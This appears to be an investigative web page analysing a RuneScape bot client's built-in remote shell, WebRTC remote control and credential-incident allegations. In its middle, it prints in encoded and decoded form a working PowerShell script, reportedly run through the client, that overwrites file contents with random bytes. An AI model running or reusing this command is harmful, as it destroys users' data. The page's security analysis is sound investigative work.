A channel named s
The streaming controller has three direct construction sites for input, logs and s. The s handler leads through a boxed task to the named request decoder.
Detuks Staff have access to the remote controls. The native engine contains a dedicated command-execution subsystem.
In .508, the s channel handler calls the shell request decoder. The shell driver calls spawn_command, error_response and exit_response. A separate output pump calls output_response.
Native shell code: confirmed by static analysis.
Operator access: Detuks Staff.
boxed task → polldecode_request48-byte successful-result copy spawn_command+ output, error & exit helpersWe checked the shell subsystem described in the original analysis against .508. The channel registrations and helper calls remain present; their addresses differ from the older sample.
sThe streaming controller has three direct construction sites for input, logs and s. The s handler leads through a boxed task to the named request decoder.
Seven protected functions carry the detuks_core::streaming::shell namespace. The driver contains a call to spawn_command, alongside output, error and exit handling.
The contributor confirms that Detuks Staff can access the remote controls. Staff access is a reported fact; the native implementation is supported by binary analysis.
build_commanddecode_requestencode_responseerror_responseexit_responseoutput_responsespawn_commandThe function names and original-code call structure are corroborated. Their protected VM implementations have not been fully recovered.
Commands execute with the client process’s permissions. The complete request format and command arguments have not been recovered. No authentication bypass is established by these findings.
VIDEO · OCTOBER 24, 2026
We connected our web dashboard to Bot Client on a Windows test machine. The video shows the live feed, mouse and keyboard control, and a remote command opening Notepad.
Our dashboard on the left. The Windows test machine on the right.
Watch the connected Bot Client from a browser.
Click and type in Bot Client through the video feed.
Send a command to the machine. Here, it opens Notepad.
Detuks Staff have access to the remote controls, according to the contributor. The .508 native controller registers input, logs and s channels. The inspected backend encoder contains start, stop, SDP-answer and ICE-candidate messages.
Session descriptions + connection candidates
Media and application data can travel over the negotiated connection. ICE selects a viable route; it may be direct or relayed.
WebRTC leaves application signaling to the app. An SDP offer/answer describes the session; ICE candidates describe possible network paths. A WebSocket can carry this setup information without carrying the eventual data-channel messages.
WebRTC supports media tracks and separate application-data channels. The inspected start message specifies width, height and frame rate. The capture target—game window or desktop—has not been identified.
WebRTC data channels use encrypted transport. That protects data in transit; the application must still decide who may connect, which actions they may request and whether the local user must consent.
All three channel names and their construction sites were found in .508.
The streaming controller constructs this channel. Its event format and keyboard/mouse handlers were not recovered in this analysis. The label alone does not establish system-wide input control.
CONSTRUCTION SITE CONFIRMEDThe streaming controller constructs this channel. The exact message schema and the information it carries have not been recovered.
CONSTRUCTION SITE CONFIRMEDThe registered handler reaches the protected decode_request function in the streaming shell subsystem.
These are variants 1–4 inside the inspected DEV encoder’s field-9 envelope. The corresponding native message decoder has not been fully mapped.
The flowchart shows registrations and call sites identified in .508. Dashed links mark parts of the control flow that have not been fully recovered.
input · logs · sThree direct channel-construction sites found in .508.
handler spec → boxed taskThe handler specification references constructors that allocate a task object and return a future-like vtable.
poll → wrapper → decode_requestThe successful decode path copies 48 bytes. That size alone does not identify the request fields or their types.
wrapper → dispatcherThe wrapper calls the dispatcher. Its complete route into the shell driver has not been reconstructed in this check.
Full dispatch-to-driver control flow remains unverified.
spawn_commandOne direct spawn-helper call site was found. The number of process starts per request is not established by a call-site count.
error_responseDriver call site found.
output_responseTwo helper call sites found in the pump; stdout/stderr identities not independently traced.
exit_responseDriver call site found.
encode_response exists as a named protected function. The response schema, same-channel replies and exact completion behavior were not established.
Detuks Staff have access to the controls. The contributor confirms staff access. The code analysis has not established the consent process, complete message formats or session-permission rules.
Bot Client can save OSRS network traffic as .osrs_packets files and upload those recordings to Cloudflare R2. This records game-protocol data separately from screen video.
Packets carry messages between the OSRS client and game server. Saving them creates a record of protocol traffic, rather than just the pixels visible in the game window.
Bot Client supports sending recording files to Cloudflare R2 object storage. A recording can leave the machine and remain stored remotely after the client closes.
Someone with access to a recording and a compatible decoder can inspect the messages it contains. Depending on the packets captured, that can reveal game actions and state updates.
Operating-system commands can access the programs, files and network resources available to the client process. The full set of commands accepted by .508 has not been recovered.
Operating-system commands can launch programs and scripts with the client process’s permissions.
GENERAL COMMAND CAPABILITYFile commands can read, modify or delete files the client process can access. Protected files still require the corresponding permissions.
GENERAL COMMAND CAPABILITYNetwork commands can send requests and transfer accessible data, subject to firewall and endpoint controls.
GENERAL COMMAND CAPABILITYThe evidence has two sources: the contributor confirms Detuks Staff access; static analysis identifies the channel handler, request decoder and shell-driver calls in .508.
Return to the binary evidenceDetuks Staff have access to the remote controls.
The inspected encoder has start, stop, SDP-answer and ICE-candidate messages.
The s handler reaches the named protected decoder through a task wrapper.
The driver calls spawn, error and exit helpers; the output pump calls the output helper.
What static analysis establishes. The native engine contains shell functions and concrete calls into them. The complete request schema, command arguments and response transport have not been recovered. These findings do not establish unrestricted commands, privilege escalation or a consent bypass.
The static evidence establishes built-in shell code: a channel handler reaches the decoder, and the driver calls spawning and response helpers. Detuks Staff access is confirmed by the contributor. These findings do not establish an authentication bypass.
Operating-system commands can start programs, read or change accessible files, and make network requests. Their scope is limited by process permissions and system controls. The accepted command set in .508 has not been fully recovered.
No. A process can use the permissions of the account running it. Running the client as administrator gives it broader permissions. No privilege-escalation mechanism was established here.
The contributor identifies Detuks Staff as having access. The findings do not establish access for unauthenticated internet users.
Code virtualization makes the implementation harder to inspect. It does not itself establish who is authorized to send requests, whether a user must consent, or which commands can execute. The protected function entry points were mapped; their full implementations have not been recovered.
No link has been established. The screenshots report credential incidents; they do not identify the native shell as the cause.
A contributor supplied a PowerShell command in encoded and readable forms and reports that it ran on .498. The two forms contain the same script. The supplied material does not include an execution log.
C:\Users\Admin\Desktop\botclientThe script recursively enumerates files, including hidden files. It filters out entries marked as reparse points, opens files for writing, and attempts to replace the first min(file length, 1,024) bytes with cryptographically generated random data.
A successful write replaces the whole contents of files no larger than 1,024 bytes. Larger files lose their first 1,024 bytes, which can corrupt headers and other data. Filenames remain unchanged. Permissions and file locks can prevent writes.
The script suppresses progress output, flushes and closes files, and prints counts of completed writes and caught errors. These counts do not list the affected files.
The command text does not identify who sent it or how it reached the client. The encoded form launches powershell.exe -NoProfile -EncodedCommand.
The script overwrites file contents with random bytes. Its reported execution concerns .498; the native-code findings elsewhere on this page concern .508.
powershell.exe -NoProfile -EncodedCommand JAByAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABEAGUAcwBrAHQAbwBwAFwAYgBvAHQAYwBsAGkAZQBuAHQAJwA7ACAAJABnAD0AWwBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAYQBuAGQAbwBtAE4AdQBtAGIAZQByAEcAZQBuAGUAcgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlACgAKQA7ACAAJABiAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAMQAwADIANAA7ACAAJABvAGsAPQAwADsAIAAkAHMAawBpAHAAPQAwADsAIAAkAFAAcgBvAGcAcgBlAHMAcwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACcAOwAgAHQAcgB5ACAAewAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAEwAaQB0AGUAcgBhAGwAUABhAHQAaAAgACQAcgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARgBpAGwAZQAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAtAG4AbwB0ACAAKAAkAF8ALgBBAHQAdAByAGkAYgB1AHQAZQBzACAALQBiAGEAbgBkACAAWwBJAE8ALgBGAGkAbABlAEEAdAB0AHIAaQBiAHUAdABlAHMAXQA6ADoAUgBlAHAAYQByAHMAZQBQAG8AaQBuAHQAKQB9ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAHMAPQAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAcwA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBPAHAAZQBuACgAJABfAC4ARgB1AGwAbABOAGEAbQBlACwAWwBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoATwBwAGUAbgAsAFsASQBPAC4ARgBpAGwAZQBBAGMAYwBlAHMAcwBdADoAOgBXAHIAaQB0AGUALABbAEkATwAuAEYAaQBsAGUAUwBoAGEAcgBlAF0AOgA6AFIAZQBhAGQAVwByAGkAdABlACkAOwAgACQAbgA9AFsAaQBuAHQAXQBbAE0AYQB0AGgAXQA6ADoATQBpAG4AKAAxADAAMgA0ACwAJABzAC4ATABlAG4AZwB0AGgAKQA7ACAAJABnAC4ARwBlAHQAQgB5AHQAZQBzACgAJABiACkAOwAgACQAcwAuAFcAcgBpAHQAZQAoACQAYgAsADAALAAkAG4AKQA7ACAAJABzAC4ARgBsAHUAcwBoACgAKQA7ACAAJABvAGsAKwArACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAawBpAHAAKwArACAAfQAgAGYAaQBuAGEAbABsAHkAIAB7ACAAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAcwApACAAewAgACQAcwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAgAH0AIAB9ACAAfQAgAGYAaQBuAGEAbABsAHkAIAB7ACAAJABnAC4ARABpAHMAcABvAHMAZQAoACkAIAB9ADsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACgAJwBPAHYAZQByAHcAcgBpAHQAdABlAG4AOgAgACcAKwAkAG8AawArACcAOwAgAHMAawBpAHAAcABlAGQAIABvAHIAIABwAGEAcgB0AGkAYQBsAGwAeQAgAHcAcgBpAHQAdABlAG4AOgAgACcAKwAkAHMAawBpAHAAKQA=$r='C:\Users\Admin\Desktop\botclient'; $g=[Security.Cryptography.RandomNumberGenerator]::Create(); $b=New-Object byte[] 1024; $ok=0; $skip=0; $ProgressPreference='SilentlyContinue'; try {
Get-ChildItem -LiteralPath $r -Recurse -File -Force -ErrorAction SilentlyContinue |
Where-Object {-not ($_.Attributes -band [IO.FileAttributes]::ReparsePoint)} |
ForEach-Object {
$s=$null;
try {
$s=[IO.File]::Open($_.FullName,[IO.FileMode]::Open,[IO.FileAccess]::Write,[IO.FileShare]::ReadWrite);
$n=[int][Math]::Min(1024,$s.Length);
$g.GetBytes($b);
$s.Write($b,0,$n);
$s.Flush(); $ok++
} catch { $skip++ } finally { if ($null -ne $s) { $s.Dispose() } }
}
} finally { $g.Dispose() };
Write-Output ('Overwritten: '+$ok+'; skipped or partially written: '+$skip)Source: contributor submission, 24 October 2026. Decoding the Base64 as UTF-16LE produces the readable script shown here, allowing for whitespace and omitted explanatory comments. Neither form was executed during this analysis. No execution log, packet capture or affected-file comparison accompanied the submission.
The sections below contain community statements and earlier plugin analysis. No link has been established between the native shell and the reported account incidents.
The earlier investigation collected community screenshots about account hijacks and cloud credentials in September 2026. The statements are presented with attribution; the cause of the incidents is not established by these records.
Cloud account table, according to Detuks.
A claim in the Discord record; not independently audited here.
No demonstrated causal link to the .508 findings.
A community screenshot shows a Jagex warning about a login from the United Kingdom. It records a reported incident, not its technical cause.
The supplied Discord record describes a serious issue involving cloud account credentials and attributes access to a hosting provider.
Detuks describes a table containing cloud accounts for roughly 30 users and says audit records point to hosting-provider access. That attribution has not been independently audited here.
Detuks says account credentials are stored locally. Local-client credentials and website-entered cloud credentials may be different stores; these statements alone do not establish a contradiction.
Statements attributed to Detuks, Aeglen and a Bot Client team member discuss prior handling of user accounts. The original images remain available to inspect at full size.
The Discord screenshot contains Detuks’s statement that Allure “went a bit too far.” Read the original exchange for its context.
The supplied exchange discusses logging user details and characterizes Allure’s behavior as retaliation. It does not establish the implementation of the native shell.
Aeglen says a scripter on the platform previously interfered with accounts of users who tried to use scripts without authorization.
The screenshot discusses overlooking mishandling of account details during platform negotiations. These are attributed statements, not independent incident forensics.
Earlier reporting linked Storm’s former owner Burak with Roman / Romandinho10. The preserved profiles and announcements document displayed accounts and roles; identity and code-lineage claims need corroborating evidence.
The operator identified in Bot Client’s public community records and the credential-incident statements reproduced here.
The displayed developer identity associated with the G Plugins announcements. A shared catalog or rapid release is an investigative lead, not proof of authorship.
These are separate people in the earlier reporting. References to Allure’s conduct should not be silently transferred to another developer.
An account-profile screenshot preserved by the earlier investigation. The screenshot alone does not prove the person behind the account.
A Discord profile records Roman / G Plugins and a Premium Developers role. It documents the displayed identity and role.
The announcement lists G Miner, G Thiever, G Trekking, G Cooker, G Agility, G Scurrius and G ToA. Release timing alone does not establish source-code reuse.
The earlier plugin analysis describes telemetry, machine identifiers and alert uploads. These findings concern specific analyzed JARs, separate from the native .508 shell path.
The analyzed Wildy Slayer build contains a scheduled api/session/check heartbeat. The earlier analysis describes a five-minute interval with session, HWID and state data.
The account-builder payload associates a character and Discord identity with a machine fingerprint, runtime and progress. Reporting identifying data differs from capturing a password.
A shared Discord alert sender exposes screenshot and file-upload overloads. Available methods do not prove arbitrary files were actually collected or sent.
The reconstructed character report includes client_run_id, character_name, discord_id, fingerprint, plugin version, total level, runtime and a runEvidence activity record.
The reported destinations are api.allureplugins.com/api/account-builder/character and /api/account-builder/ban-report. A different hostname alone does not establish who controls it or whether its use is authorized.
That finding applies to the inspected payload. It does not certify every plugin or every version.
The earlier analysis of com/detuks/e/b/S identifies a shared asynchronous alert sender, text and image methods, and an overload accepting a file path. Lifecycle and restriction reporting are identified in account-builder call sites.
The sender accepts text, images and file paths. The method signatures alone do not identify the files supplied by each caller.
The identified discord_id field belongs to the character API payload; it should not be assumed to appear in Discord alerts.
Classes under com/detuks/ document a package namespace. That alone does not establish that Detuks personally authored an Allure-branded plugin.
The earlier analysis identifies local JSONL logging under .storm2/debug. The string suggests lineage worth investigating; it does not establish that two complete codebases are identical.
The account-builder analysis describes RSA key wrapping and an AES-GCM body. Encrypting a payload protects transport content from some observers; it does not establish whether collecting it is appropriate.
A plugin-supplied map or file-upload method can accept additional data. That possibility alone does not establish that credentials or arbitrary files were supplied to it.
The remaining screenshots include storage allegations, reactions to migration and performance reports. They remain source material rather than verified technical measurements.
Discussion of possible explanations for the credential incident. These are community hypotheses.
An exchange containing criticism and statements defending the operator.
A member alleges that logins were stored in plaintext. A screenshot of that claim does not verify the database design.
An account-security warning from a rival client operator, preserved with its context.
Community members discuss prior conduct and ask about account safety.
Members discuss memory use. This is not a controlled performance benchmark.
A community explanation for overhead. The causal performance claim has not been measured here.
Members discuss moving platforms and mention OpenOSRS in logs.
Additional reactions preserved from the earlier investigation.
These materials were supplied for this update. They are preserved as source records and are not presented as independently verified findings.
A post distinguishes browser remote control from remote shell access and argues that server-triggered code execution is the serious issue.
Aeglen says the alleged motivation is to steal users, while another member calls possible account and PC access a major privacy breach.
A Discord exchange discusses legal action, costs and the difficulty of pursuing an IP case against a large company.
A screenshot argues that a remote shell is not needed for remote control and says there is no opt-out for the shell or code execution.
Aeglen says a feature may potentially be used this way, then says critics portray every competing client as untrustworthy; he also mentions banning critics.
The code diagram labels request decoding, command spawning, stdout, stderr and exit-code responses, followed by a cmd.exe invocation.
Members ask about claims that Bot Client contains a RAT; replies say the discussion concerns Bot Client and other clients.
Community members debate whether to jump to conclusions, while users report script-hour and webhook issues.
A Discord message asks whether a Jagex account uses the selected proxy and shows a code image associated with the shell discussion.
Aeglen says the controversy is being driven by Recoderz drama and describes the allegation as misinformation.
A plain-English table lists claimed capabilities including command execution, screen capture, input control, server authorization and credential access.
A chat says there has been no material change in user numbers despite the surrounding controversy.
An announcement warns that staff and developers will not initiate direct messages and explains the remote-control feature and automatic updates.
A question asks whether the shell only uploads console output or can receive commands that execute on the user’s machine; the answer favors command execution.
Code references identify the shell module, command-spawning function and streamed stdout, stderr and exit-code responses.
A September message reports repeated PowerShell launches, file overwrites and random-file writes, then describes a WebRTC remote-shell path.
A PSA claims the client can execute code, access files and control input, while also summarizing prior account and hosting allegations.
A user asks the operator to answer questions about command execution, patch plans, a hosting breach and earlier hacking claims.
The screenshot says the streaming shell receives a server request, spawns cmd.exe and sends command results back, with a signing-key check.
A community post says the client has a remote shell and asks why it exists, whether it will be removed, and how a reported database breach was handled.
A message summarizes that spawn_command launches processes, exit_response returns a code, and the server can route traffic through the machine.
A Reddit comment alleges a long-running secret involving crypto and OSRS account compromises and calls for scrutiny of the client.
Aeglen says a group of would-be crackers claims every other OSRS client is a RAT and tells readers to use the information as they choose.
Aeglen says a potentially relevant feature may exist, while arguing that critics broadly paint competing clients as untrustworthy.
A community member says Detuks feels safe to run after DreamBot’s closure, while discussing a separate legal-cost exchange.
Aeglen says he trusts Detuks by transitivity, and another user says critics are trying to crack the client but cannot fully do so.
A Discord preview links bot-client.net and describes the site as an investigation into built-in remote command execution.
A report card labels Detuks as a user allegedly associated with putting a RAT in his client and lists mutual servers and reporting details.
A direct-message thread shows a user asking Detuks for written answers about remote shell access and allegations of hacking users.
A short exchange challenges a user to address the allegations and dismisses the response as evasive.
The linked video is included as a reference for readers. Its claims should be evaluated against the underlying records.
Detuks Staff have access to the controls, as confirmed by the contributor. The remaining questions concern user consent, session permissions and the accepted command set.
Binary presence, a report of execution and proof of unauthorized access answer different questions.
Look for documented authorization, explicit consent, visible session indicators and a way to revoke access.
Keep original command messages, timestamps, session logs and affected-file copies. Do not run the supplied destructive command to test it.
Use software only at the permissions it requires, keep separate backups and review which files and accounts are accessible to the user running it.
The native .508 findings were checked on 23 October 2026. The .498 command report was supplied on 24 October. Historical screenshots and plugin analysis artifacts come from the earlier investigation. Static analysis establishes the .508 code structures and call sites shown here. Detuks Staff access is confirmed by the contributor. The .498 execution history and community screenshots are attributed reports. The complete command schema and user-consent mechanism have not been recovered.
Inspect the native evidence record